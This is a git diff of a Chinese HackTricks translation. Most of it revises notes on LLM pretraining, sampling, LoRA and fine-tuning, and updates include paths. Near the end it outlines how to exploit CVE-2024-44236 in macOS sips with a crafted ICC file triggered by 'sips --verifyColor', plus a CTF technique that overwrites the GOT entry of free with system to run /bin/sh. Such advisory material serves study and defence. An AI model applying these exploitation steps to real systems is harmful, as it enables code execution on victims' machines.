- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# 6. 预训练与加载模型
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 文本生成
|
||||
|
||||
@ -13,12 +13,12 @@
|
||||
|
||||
## 文本评估
|
||||
|
||||
为了进行正确的训练,需要测量检查获得的预测与预期标记的匹配程度。训练的目标是最大化正确标记的可能性,这涉及到相对于其他标记增加其概率。
|
||||
为了进行正确的训练,需要测量检查获得的预测与预期标记的匹配情况。训练的目标是最大化正确标记的可能性,这涉及到相对于其他标记增加其概率。
|
||||
|
||||
为了最大化正确标记的概率,必须修改模型的权重,以使该概率最大化。权重的更新是通过**反向传播**完成的。这需要一个**要最大化的损失函数**。在这种情况下,函数将是**执行的预测与期望预测之间的差异**。
|
||||
|
||||
然而,它将不是处理原始预测,而是处理以n为底的对数。因此,如果当前对预期标记的预测是7.4541e-05,则**7.4541e-05**的自然对数(以*e*为底)大约是**-9.5042**。\
|
||||
然后,对于每个上下文长度为5个标记的条目,例如,模型需要预测5个标记,前4个标记是输入的最后一个,第五个是预测的标记。因此,在这种情况下,对于每个条目我们将有5个预测(即使前4个在输入中,模型并不知道这一点),因此有5个预期标记,因此有5个概率需要最大化。
|
||||
然而,它将使用以n为底的对数,而不是处理原始预测。因此,如果当前对预期标记的预测是7.4541e-05,则**7.4541e-05**的自然对数(以*e*为底)大约是**-9.5042**。\
|
||||
然后,对于每个具有5个标记上下文长度的条目,例如,模型需要预测5个标记,前4个标记是输入的最后一个,第五个是预测的标记。因此,在这种情况下,对于每个条目我们将有5个预测(即使前4个在输入中,模型并不知道这一点),因此有5个预期标记,因此有5个概率需要最大化。
|
||||
|
||||
因此,在对每个预测执行自然对数后,计算**平均值**,去掉**负号**(这称为_交叉熵损失_),这是**需要尽可能接近0的数字**,因为1的自然对数是0:
|
||||
|
||||
@ -545,14 +545,14 @@ return tokenizer.decode(flat.tolist())
|
||||
```
|
||||
### 生成文本函数
|
||||
|
||||
在前面的部分中,一个函数仅在获取 logits 后获取 **最可能的标记**。然而,这意味着对于每个输入,总是会生成相同的输出,这使得它非常确定性。
|
||||
在前面的部分中,一个函数仅在获取 logits 后获取 **最可能的标记**。然而,这意味着对于每个输入,总是会生成相同的输出,这使得结果非常确定性。
|
||||
|
||||
以下 `generate_text` 函数将应用 `top-k`、`temperature` 和 `multinomial` 概念。
|
||||
以下的 `generate_text` 函数将应用 `top-k`、`temperature` 和 `multinomial` 概念。
|
||||
|
||||
- **`top-k`** 意味着我们将开始将所有标记的概率减少到 `-inf`,除了前 k 个标记。因此,如果 k=3,在做出决定之前,只有 3 个最可能的标记的概率将与 `-inf` 不同。
|
||||
- **`top-k`** 意味着我们将开始将所有标记的概率减少到 `-inf`,除了前 k 个标记。因此,如果 k=3,在做出决策之前,只有 3 个最可能的标记的概率将与 `-inf` 不同。
|
||||
- **`temperature`** 意味着每个概率将被温度值除以。值为 `0.1` 将提高最高概率与最低概率的比较,而温度为 `5` 的情况下,例如将使其更加平坦。这有助于提高我们希望 LLM 具有的响应变化。
|
||||
- 在应用温度后,再次应用 **`softmax`** 函数,使所有剩余标记的总概率为 1。
|
||||
- 最后,函数 **`multinomial`** 被应用于 **根据最终概率预测下一个标记**,而不是选择具有最大概率的标记。因此,如果标记 1 的概率为 70%,标记 2 的概率为 20%,标记 3 的概率为 10%,那么 70% 的时间将选择标记 1,20% 的时间将选择标记 2,10% 的时间将选择标记 3。
|
||||
- 最后,函数不再选择概率最大的标记,而是应用 **`multinomial`** 来 **根据最终概率预测下一个标记**。因此,如果标记 1 的概率为 70%,标记 2 的概率为 20%,标记 3 的概率为 10%,那么标记 1 将被选择 70% 的时间,标记 2 将被选择 20% 的时间,标记 3 将被选择 10% 的时间。
|
||||
```python
|
||||
# Generate text function
|
||||
def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None):
|
||||
@ -594,19 +594,19 @@ idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
|
||||
return idx
|
||||
```
|
||||
> [!TIP]
|
||||
> 有一种常见的替代方法叫做 [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling),也称为核采样,它不是获取具有最高概率的 k 个样本,而是 **按概率对所有结果的 **词汇** 进行排序,并从最高概率到最低概率 **累加**,直到达到 **阈值**。
|
||||
> 有一种常见的替代方法叫做 [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling),也称为核采样,它不是获取具有最高概率的 k 个样本,而是 **按概率对所有结果的 **vocabulary** 进行排序,并从最高概率到最低概率 **累加**,直到达到 **阈值**。
|
||||
>
|
||||
> 然后,**只有那些词** 的词汇将根据它们的相对概率被考虑。
|
||||
> 然后,**只有这些单词** 的 vocabulary 将根据它们的相对概率被考虑。
|
||||
>
|
||||
> 这使得不需要选择一个数量为 `k` 的样本,因为最佳的 k 可能在每种情况下都不同,而是 **只需要一个阈值**。
|
||||
> 这使得不需要选择一个数量为 `k` 的样本,因为最佳的 k 可能在每种情况下都不同,而是 **仅需要一个阈值**。
|
||||
>
|
||||
> _注意,这一改进未包含在之前的代码中。_
|
||||
> _请注意,这一改进未包含在之前的代码中。_
|
||||
|
||||
> [!TIP]
|
||||
> 改进生成文本的另一种方法是使用 **Beam search**,而不是在此示例中使用的贪婪搜索。\
|
||||
> 与贪婪搜索不同,贪婪搜索在每一步选择最可能的下一个词并构建单一序列,**beam search 在每一步跟踪得分最高的 𝑘 k 个部分序列**(称为“光束”)。通过同时探索多种可能性,它在效率和质量之间取得平衡,增加了 **找到更好整体** 序列的机会,这可能由于早期的次优选择而被贪婪方法错过。
|
||||
> 与贪婪搜索不同,贪婪搜索在每一步选择最可能的下一个单词并构建单个序列,**beam search 在每一步跟踪得分最高的 𝑘 k 个部分序列**(称为“beams”)。通过同时探索多种可能性,它在效率和质量之间取得平衡,增加了 **找到更好整体** 序列的机会,这可能由于早期的次优选择而被贪婪方法遗漏。
|
||||
>
|
||||
> _注意,这一改进未包含在之前的代码中。_
|
||||
> _请注意,这一改进未包含在之前的代码中。_
|
||||
|
||||
### Loss functions
|
||||
|
||||
@ -654,10 +654,10 @@ return total_loss / num_batches
|
||||
从这里可以注意到,定义了90%的文本将用于训练,而10%将用于验证,两个数据集存储在两个不同的数据加载器中。\
|
||||
请注意,有时数据集的一部分也会留作测试集,以更好地评估模型的性能。
|
||||
|
||||
两个数据加载器使用相同的批量大小、最大长度、步幅和工作线程数(在这种情况下为0)。\
|
||||
两个数据加载器使用相同的批量大小、最大长度和步幅,以及工作线程数(在这种情况下为0)。\
|
||||
主要的区别在于每个加载器使用的数据,以及验证器不会丢弃最后一部分数据,也不会打乱数据,因为这对验证目的并不需要。
|
||||
|
||||
此外,**步幅与上下文长度一样大**,意味着用于训练数据的上下文之间不会重叠(减少过拟合,但也减少训练数据集)。
|
||||
此外,**步幅与上下文长度一样大**,意味着用于训练数据的上下文之间不会重叠(减少过拟合,但也减少了训练数据集)。
|
||||
|
||||
此外,请注意,在这种情况下,批量大小为2,以将数据分为2个批次,主要目的是允许并行处理并减少每个批次的消耗。
|
||||
```python
|
||||
@ -690,7 +690,7 @@ num_workers=0
|
||||
```
|
||||
## Sanity Checks
|
||||
|
||||
目标是检查是否有足够的用于训练的 tokens,形状是否符合预期,并获取有关用于训练和验证的 tokens 数量的一些信息:
|
||||
目标是检查是否有足够的训练令牌,形状是否符合预期,并获取有关用于训练和验证的令牌数量的一些信息:
|
||||
```python
|
||||
# Sanity checks
|
||||
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
|
||||
@ -760,10 +760,10 @@ print("Validation loss:", val_loss)
|
||||
|
||||
- 训练数据加载器(数据已经分离并准备好进行训练)
|
||||
- 验证器加载器
|
||||
- 训练期间使用的 **优化器**:这是将使用梯度并更新参数以减少损失的函数。在这种情况下,正如你将看到的,使用的是 `AdamW`,但还有许多其他选择。
|
||||
- 训练期间使用的 **优化器**:这是将使用梯度并更新参数以减少损失的函数。在这种情况下,如你所见,使用的是 `AdamW`,但还有许多其他选择。
|
||||
- 调用 `optimizer.zero_grad()` 以在每轮重置梯度,防止它们累积。
|
||||
- **`lr`** 参数是 **学习率**,决定在优化过程中更新模型参数时采取的 **步长大小**。较 **小** 的学习率意味着优化器对权重进行 **较小的更新**,这可能导致更 **精确** 的收敛,但可能会 **减慢** 训练。较 **大** 的学习率可以加快训练,但 **有可能超出** 损失函数的最小值(**跳过** 损失函数最小化的点)。
|
||||
- **权重衰减** 通过添加一个额外的项来修改 **损失计算** 步骤,以惩罚大权重。这鼓励优化器找到具有较小权重的解决方案,在很好地拟合数据和保持模型简单之间取得平衡,防止机器学习模型过拟合,避免模型对任何单一特征赋予过多重要性。
|
||||
- **`lr`** 参数是 **学习率**,决定在优化过程中更新模型参数时采取的 **步长大小**。较 **小** 的学习率意味着优化器对权重进行 **较小的更新**,这可能导致更 **精确** 的收敛,但可能会 **减慢** 训练。较 **大** 的学习率可以加快训练,但 **有可能超越** 损失函数的最小值(**跳过** 损失函数最小化的点)。
|
||||
- **权重衰减** 通过添加一个额外的项来修改 **损失计算** 步骤,以惩罚大权重。这鼓励优化器找到具有较小权重的解决方案,在良好拟合数据和保持模型简单之间取得平衡,防止机器学习模型过拟合,避免模型对任何单一特征赋予过多重要性。
|
||||
- 传统优化器如带有 L2 正则化的 SGD 将权重衰减与损失函数的梯度结合。然而,**AdamW**(Adam 优化器的一个变体)将权重衰减与梯度更新解耦,从而实现更有效的正则化。
|
||||
- 用于训练的设备
|
||||
- 训练轮数:遍历训练数据的次数
|
||||
@ -832,10 +832,10 @@ print(decoded_text.replace("\n", " ")) # Compact print format
|
||||
model.train() # Back to training model applying all the configurations
|
||||
```
|
||||
> [!TIP]
|
||||
> 为了提高学习率,有几个相关的技术叫做 **linear warmup** 和 **cosine decay.**
|
||||
> 为了提高学习率,有几个相关的技术称为 **linear warmup** 和 **cosine decay.**
|
||||
>
|
||||
> **Linear warmup** 的定义是设定一个初始学习率和一个最大学习率,并在每个 epoch 后持续更新。这是因为以较小的权重更新开始训练可以降低模型在训练阶段遇到大且不稳定更新的风险。\
|
||||
> **Cosine decay** 是一种 **逐渐减少学习率** 的技术,遵循半余弦曲线 **在 warmup** 阶段之后,减缓权重更新以 **最小化超调** 损失最小值的风险,并确保后期训练的稳定性。
|
||||
> **Cosine decay** 是一种技术,它在 **warmup** 阶段后 **逐渐减少学习率**,遵循半余弦曲线,减缓权重更新以 **最小化超调** 损失最小值的风险,并确保后期训练的稳定性。
|
||||
>
|
||||
> _请注意,这些改进未包含在之前的代码中。_
|
||||
|
||||
@ -945,4 +945,4 @@ model.eval() # Put in eval mode
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,17 +1,17 @@
|
||||
# 7.0. LoRA 在微调中的改进
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## LoRA 改进
|
||||
|
||||
> [!TIP]
|
||||
> 使用 **LoRA 大大减少了所需的计算** 来 **微调** 已经训练好的模型。
|
||||
> 使用 **LoRA 大大减少了** 需要的 **微调** 已经训练好的模型的计算量。
|
||||
|
||||
LoRA 使得通过仅更改模型的 **小部分** 来高效地微调 **大型模型** 成为可能。它减少了需要训练的参数数量,从而节省了 **内存** 和 **计算资源**。这是因为:
|
||||
LoRA 使得通过仅更改模型的一 **小部分** 来高效地微调 **大型模型** 成为可能。它减少了需要训练的参数数量,从而节省了 **内存** 和 **计算资源**。这是因为:
|
||||
|
||||
1. **减少可训练参数的数量**:LoRA 不更新模型中的整个权重矩阵,而是将权重矩阵 **拆分** 为两个较小的矩阵(称为 **A** 和 **B**)。这使得训练 **更快**,并且需要 **更少的内存**,因为需要更新的参数更少。
|
||||
|
||||
1. 这是因为它不计算层(矩阵)的完整权重更新,而是将其近似为两个较小矩阵的乘积,从而减少了更新计算:\
|
||||
1. 这是因为它不计算一个层(矩阵)的完整权重更新,而是将其近似为两个较小矩阵的乘积,从而减少了更新计算:\
|
||||
|
||||
<figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -62,4 +62,4 @@ replace_linear_with_lora(module, rank, alpha)
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,13 +1,13 @@
|
||||
# 7.1. Fine-Tuning for Classification
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 什么是
|
||||
|
||||
微调是将一个**预训练模型**的过程,该模型已经从大量数据中学习了**通用语言模式**,并将其**调整**以执行**特定任务**或理解特定领域的语言。这是通过在一个较小的、特定任务的数据集上继续训练模型来实现的,使其能够调整参数,以更好地适应新数据的细微差别,同时利用其已经获得的广泛知识。微调使模型能够在专业应用中提供更准确和相关的结果,而无需从头开始训练一个新模型。
|
||||
微调是将一个**预训练模型**的过程,该模型已经从大量数据中学习了**通用语言模式**,并**调整**它以执行**特定任务**或理解特定领域的语言。这是通过在一个较小的、特定任务的数据集上继续训练模型来实现的,使其能够调整参数以更好地适应新数据的细微差别,同时利用其已经获得的广泛知识。微调使模型能够在专业应用中提供更准确和相关的结果,而无需从头开始训练一个新模型。
|
||||
|
||||
> [!TIP]
|
||||
> 由于预训练一个“理解”文本的LLM成本相当高,因此通常更容易和便宜地微调开源的预训练模型,以执行我们希望其执行的特定任务。
|
||||
> 由于预训练一个“理解”文本的LLM相当昂贵,因此通常更容易和便宜地微调开源的预训练模型以执行我们希望其执行的特定任务。
|
||||
|
||||
> [!TIP]
|
||||
> 本节的目标是展示如何微调一个已经预训练的模型,因此LLM将选择给出**给定文本被分类到每个给定类别的概率**(例如,文本是否为垃圾邮件)。
|
||||
@ -18,12 +18,12 @@
|
||||
|
||||
当然,为了微调模型,您需要一些结构化数据来专门化您的LLM。在[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb)中提出的示例中,GPT2被微调以检测电子邮件是否为垃圾邮件,使用的数据来自[https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_。
|
||||
|
||||
该数据集包含的“非垃圾邮件”示例远多于“垃圾邮件”示例,因此本书建议**仅使用与“垃圾邮件”相同数量的“非垃圾邮件”示例**(因此,从训练数据中删除所有额外示例)。在这种情况下,每种类型各有747个示例。
|
||||
该数据集包含的“非垃圾邮件”示例远多于“垃圾邮件”示例,因此本书建议**仅使用与“垃圾邮件”相同数量的“非垃圾邮件”示例**(因此,从训练数据中删除所有额外示例)。在这种情况下,每种情况有747个示例。
|
||||
|
||||
然后,**70%**的数据集用于**训练**,**10%**用于**验证**,**20%**用于**测试**。
|
||||
|
||||
- **验证集**在训练阶段用于微调模型的**超参数**并做出关于模型架构的决策,有效地通过提供模型在未见数据上的表现反馈来帮助防止过拟合。它允许在不偏倚最终评估的情况下进行迭代改进。
|
||||
- 这意味着,尽管此数据集中包含的数据不直接用于训练,但它用于调整最佳**超参数**,因此该集不能像测试集那样用于评估模型的性能。
|
||||
- 这意味着尽管此数据集中包含的数据不直接用于训练,但它用于调整最佳**超参数**,因此该集不能像测试集那样用于评估模型的性能。
|
||||
- 相比之下,**测试集**仅在模型完全训练并完成所有调整后使用;它提供了对模型在新未见数据上泛化能力的无偏评估。对测试集的最终评估提供了模型在实际应用中预期表现的现实指示。
|
||||
|
||||
### 条目长度
|
||||
@ -36,7 +36,7 @@
|
||||
|
||||
## 分类头
|
||||
|
||||
在这个特定示例中(预测文本是否为垃圾邮件),我们并不关心根据GPT2的完整词汇进行微调,而只希望新模型能够判断电子邮件是否为垃圾邮件(1)或不是(0)。因此,我们将**修改最终层**,使其给出每个词汇的概率,改为仅给出是否为垃圾邮件的概率(就像一个包含2个单词的词汇)。
|
||||
在这个特定示例中(预测文本是否为垃圾邮件),我们并不关心根据GPT2的完整词汇进行微调,而只希望新模型能够判断电子邮件是否为垃圾邮件(1)或不是(0)。因此,我们将**修改最终层**,使其提供每个词汇的概率,改为仅提供是否为垃圾邮件的概率(就像一个包含2个单词的词汇)。
|
||||
```python
|
||||
# This code modified the final layer with a Linear one with 2 outs
|
||||
num_classes = 2
|
||||
@ -49,7 +49,7 @@ out_features=num_classes
|
||||
```
|
||||
## 参数调整
|
||||
|
||||
为了快速微调,最好只微调一些最终参数,而不是所有参数。这是因为已知较低层通常捕捉基本的语言结构和适用的语义。因此,仅**微调最后几层通常就足够且更快**。
|
||||
为了快速微调,最好只微调一些最终参数,而不是所有参数。这是因为已知较低层通常捕捉基本的语言结构和适用的语义。因此,**通常只微调最后几层就足够且更快**。
|
||||
```python
|
||||
# This code makes all the parameters of the model unrtainable
|
||||
for param in model.parameters():
|
||||
@ -64,9 +64,9 @@ for param in model.final_norm.parameters():
|
||||
|
||||
param.requires_grad = True
|
||||
```
|
||||
## 用于训练的条目
|
||||
## Entries to use for training
|
||||
|
||||
在之前的部分中,LLM通过减少每个预测标记的损失进行训练,尽管几乎所有预测的标记都在输入句子中(只有最后一个是真正预测的),以便模型更好地理解语言。
|
||||
在之前的部分,LLM通过减少每个预测标记的损失进行训练,尽管几乎所有预测的标记都在输入句子中(只有最后一个是真正预测的),以便模型更好地理解语言。
|
||||
|
||||
在这种情况下,我们只关心模型是否能够预测该模型是垃圾邮件,因此我们只关心最后一个预测的标记。因此,需要修改我们之前的训练损失函数,仅考虑该标记。
|
||||
|
||||
@ -111,4 +111,4 @@ return loss
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,13 +1,13 @@
|
||||
# 7.2. 微调以遵循指令
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!TIP]
|
||||
> 本节的目标是展示如何**微调一个已经预训练的模型以遵循指令**,而不仅仅是生成文本,例如,作为聊天机器人响应任务。
|
||||
|
||||
## 数据集
|
||||
|
||||
为了微调一个 LLM 以遵循指令,需要一个包含指令和响应的数据集来微调 LLM。有不同的格式可以训练 LLM 以遵循指令,例如:
|
||||
为了微调一个 LLM 以遵循指令,需要有一个包含指令和响应的数据集来微调 LLM。有不同的格式可以训练 LLM 以遵循指令,例如:
|
||||
|
||||
- Apply Alpaca 提示样式示例:
|
||||
```csharp
|
||||
@ -58,19 +58,19 @@ print(model_input + desired_response)
|
||||
然后,需要对所有输入和期望输出进行批处理以进行训练。为此,需要:
|
||||
|
||||
- 对文本进行标记化
|
||||
- 将所有样本填充到相同的长度(通常长度将与用于预训练LLM的上下文长度相同)
|
||||
- 将所有样本填充到相同的长度(通常长度将与用于预训练LLM的上下文长度一样大)
|
||||
- 在自定义合并函数中将输入向右移动1以创建期望的标记
|
||||
- 用-100替换一些填充标记,以将其排除在训练损失之外:在第一个`endoftext`标记之后,将所有其他`endoftext`标记替换为-100(因为使用`cross_entropy(...,ignore_index=-100)`意味着它将忽略目标为-100的情况)
|
||||
- \[可选\] 使用-100掩盖所有属于问题的标记,以便LLM仅学习如何生成答案。在应用Alpaca风格时,这将意味着掩盖直到`### Response:`的所有内容
|
||||
- 用-100替换一些填充标记,以将其排除在训练损失之外:在第一个`endoftext`标记之后,将所有其他`endoftext`标记替换为-100(因为使用`cross_entropy(...,ignore_index=-100)`意味着它将忽略目标为-100的标记)
|
||||
- \[可选\] 使用-100掩盖所有属于问题的标记,以便LLM仅学习如何生成答案。在应用Alpaca风格时,这将意味着掩盖所有内容直到`### Response:`
|
||||
|
||||
创建好这些后,是时候为每个数据集(训练、验证和测试)创建数据加载器。
|
||||
创建好这些后,是时候为每个数据集(训练、验证和测试)创建数据加载器了。
|
||||
|
||||
## 加载预训练LLM & 微调 & 损失检查
|
||||
|
||||
需要加载一个预训练的LLM进行微调。这在其他页面中已经讨论过。然后,可以使用之前使用的训练函数来微调LLM。
|
||||
|
||||
在训练过程中,还可以查看训练损失和验证损失在各个时期的变化,以查看损失是否在减少以及是否发生了过拟合。\
|
||||
请记住,过拟合发生在训练损失减少但验证损失没有减少甚至增加时。为避免这种情况,最简单的方法是在这种行为开始的时期停止训练。
|
||||
在训练期间,还可以查看训练损失和验证损失在各个时期的变化,以查看损失是否在减少以及是否发生了过拟合。\
|
||||
请记住,过拟合发生在训练损失减少但验证损失没有减少甚至增加时。为了避免这种情况,最简单的方法是在这种行为开始的时期停止训练。
|
||||
|
||||
## 响应质量
|
||||
|
||||
@ -79,16 +79,16 @@ print(model_input + desired_response)
|
||||
|
||||
验证响应质量的其他测试:
|
||||
|
||||
1. **测量大规模多任务语言理解(**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU评估模型在57个学科(包括人文学科、科学等)中的知识和解决问题的能力。它使用多项选择题在从初级到高级专业的不同难度级别上评估理解。
|
||||
1. **测量大规模多任务语言理解(**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU评估模型在57个学科(包括人文学科、科学等)中的知识和解决问题的能力。它使用多项选择题在不同难度级别(从初级到高级专业)评估理解能力。
|
||||
2. [**LMSYS聊天机器人竞技场**](https://arena.lmsys.org):该平台允许用户并排比较不同聊天机器人的响应。用户输入提示,多个聊天机器人生成可以直接比较的响应。
|
||||
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval是一个自动评估框架,其中像GPT-4这样的高级LLM评估其他模型对各种提示的响应。
|
||||
4. **通用语言理解评估(**[**GLUE**](https://gluebenchmark.com/)**):** GLUE是九个自然语言理解任务的集合,包括情感分析、文本蕴含和问答。
|
||||
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** 在GLUE的基础上,SuperGLUE包括更具挑战性的任务,旨在对当前模型构成困难。
|
||||
6. **超越模仿游戏基准(**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench是一个大规模基准,包含200多个任务,测试模型在推理、翻译和问答等领域的能力。
|
||||
7. **语言模型的整体评估(**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM提供了在准确性、鲁棒性和公平性等各种指标上的全面评估。
|
||||
8. [**OpenAI评估**](https://github.com/openai/evals)**:** OpenAI的开源评估框架,允许对AI模型进行自定义和标准化任务的测试。
|
||||
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** OpenAI的开源评估框架,允许在自定义和标准化任务上测试AI模型。
|
||||
9. [**HumanEval**](https://github.com/openai/human-eval)**:** 一组用于评估语言模型代码生成能力的编程问题。
|
||||
10. **斯坦福问答数据集(**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD包含关于维基百科文章的问题,模型必须理解文本以准确回答。
|
||||
10. **斯坦福问答数据集(**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD由关于维基百科文章的问题组成,模型必须理解文本以准确回答。
|
||||
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** 一个大规模的琐事问题和答案数据集,以及证据文档。
|
||||
|
||||
还有很多很多其他的
|
||||
@ -101,4 +101,4 @@ print(model_input + desired_response)
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# LLM 训练 - 数据准备
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**这些是我从非常推荐的书籍中做的笔记** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **以及一些额外的信息。**
|
||||
|
||||
@ -24,7 +24,7 @@
|
||||
## 2. 数据采样
|
||||
|
||||
> [!TIP]
|
||||
> 这个第二阶段的目标非常简单:**对输入数据进行采样,并为训练阶段准备数据,通常通过将数据集分成特定长度的句子,并生成预期的响应。**
|
||||
> 这个第二阶段的目标非常简单:**对输入数据进行采样,并为训练阶段准备,通常通过将数据集分成特定长度的句子,并生成预期的响应。**
|
||||
|
||||
{{#ref}}
|
||||
2.-data-sampling.md
|
||||
@ -42,10 +42,10 @@
|
||||
3.-token-embeddings.md
|
||||
{{#endref}}
|
||||
|
||||
## 4. 注意机制
|
||||
## 4. 注意力机制
|
||||
|
||||
> [!TIP]
|
||||
> 这个第四阶段的目标非常简单:**应用一些注意机制**。这些将是许多**重复的层**,将**捕捉词汇表中单词与当前用于训练 LLM 的句子中其邻居的关系**。\
|
||||
> 这个第四阶段的目标非常简单:**应用一些注意力机制**。这些将是许多**重复的层**,将**捕捉词汇表中单词与当前用于训练 LLM 的句子中其邻居的关系**。\
|
||||
> 为此使用了许多层,因此许多可训练的参数将捕捉这些信息。
|
||||
|
||||
{{#ref}}
|
||||
@ -55,7 +55,7 @@
|
||||
## 5. LLM 架构
|
||||
|
||||
> [!TIP]
|
||||
> 这个第五阶段的目标非常简单:**开发完整 LLM 的架构**。将所有内容整合在一起,应用所有层并创建所有函数以生成文本或将文本转换为 ID 及反向操作。
|
||||
> 这个第五阶段的目标非常简单:**开发完整 LLM 的架构**。将所有内容整合在一起,应用所有层并创建所有生成文本或将文本转换为 ID 及其反向的函数。
|
||||
>
|
||||
> 该架构将用于训练和预测文本。
|
||||
|
||||
@ -99,4 +99,4 @@
|
||||
7.2.-fine-tuning-to-follow-instructions.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,3 +1,3 @@
|
||||
# Arbitrary Write 2 Exec
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## 概述
|
||||
|
||||
Apple macOS Scriptable Image Processing System (`sips`) ICC 配置文件解析器中的越界写入漏洞(macOS 15.0.1, sips-307),由于对 `lutAToBType` (`mAB `) 和 `lutBToAType` (`mBA `) 标签中的 `offsetToCLUT` 字段的验证不当。一个精心制作的 ICC 文件可以触发零写,最多达到堆缓冲区之后的 16 字节,破坏堆元数据或函数指针,并启用任意代码执行(CVE-2024-44236)。
|
||||
Apple macOS Scriptable Image Processing System (`sips`) ICC 配置文件解析器中的越界写入漏洞(macOS 15.0.1, sips-307),由于对 `lutAToBType` (`mAB `) 和 `lutBToAType` (`mBA `) 标签中的 `offsetToCLUT` 字段的验证不当。一个精心制作的 ICC 文件可以触发零写,最多可超出堆缓冲区 16 字节,从而破坏堆元数据或函数指针,并启用任意代码执行 (CVE-2024-44236)。
|
||||
|
||||
## 易受攻击的代码
|
||||
|
||||
@ -23,7 +23,7 @@ buffer[i] = 0;
|
||||
1. **构造恶意 `.icc` 配置文件:**
|
||||
- 构建 ICC 头(128 字节),签名为 `acsp`,并包含一个 `lutAToBType` 或 `lutBToAType` 标签条目。
|
||||
- 在标签表中,将 `offsetToCLUT` 设置为标签的 `size`(`tagDataSize`)。
|
||||
- 在标签数据块后面放置攻击者控制的数据,以覆盖堆元数据。
|
||||
- 在标签数据块后立即放置攻击者控制的数据,以覆盖堆元数据。
|
||||
2. **触发解析:**
|
||||
|
||||
```bash
|
||||
@ -34,7 +34,7 @@ sips --verifyColor malicious.icc
|
||||
|
||||
## 影响
|
||||
|
||||
成功利用会导致在运行易受攻击的 `sips` 实用程序的 macOS 系统上以用户权限进行远程任意代码执行。
|
||||
成功利用将导致在运行易受攻击的 `sips` 实用程序的 macOS 系统上以用户权限进行远程任意代码执行。
|
||||
|
||||
## 检测
|
||||
|
||||
@ -50,4 +50,4 @@ https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulner
|
||||
- Apple 2024 年 10 月安全更新(修补 CVE-2024-44236)
|
||||
https://support.apple.com/en-us/121564
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -9,12 +9,12 @@
|
||||
然而,您可以找到一些不错的 **示例**:
|
||||
|
||||
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
|
||||
- 有 **2 个冲突的数组**,一个用于存储数据的 **地址**,另一个用于该数据的 **大小**。可以从一个数组覆盖另一个数组,从而写入一个任意地址并将其标记为大小。这允许在 GOT 表中写入 `free` 函数的地址,然后用 `system` 的地址覆盖它,并从内存中调用 free,使用 `/bin/sh`。
|
||||
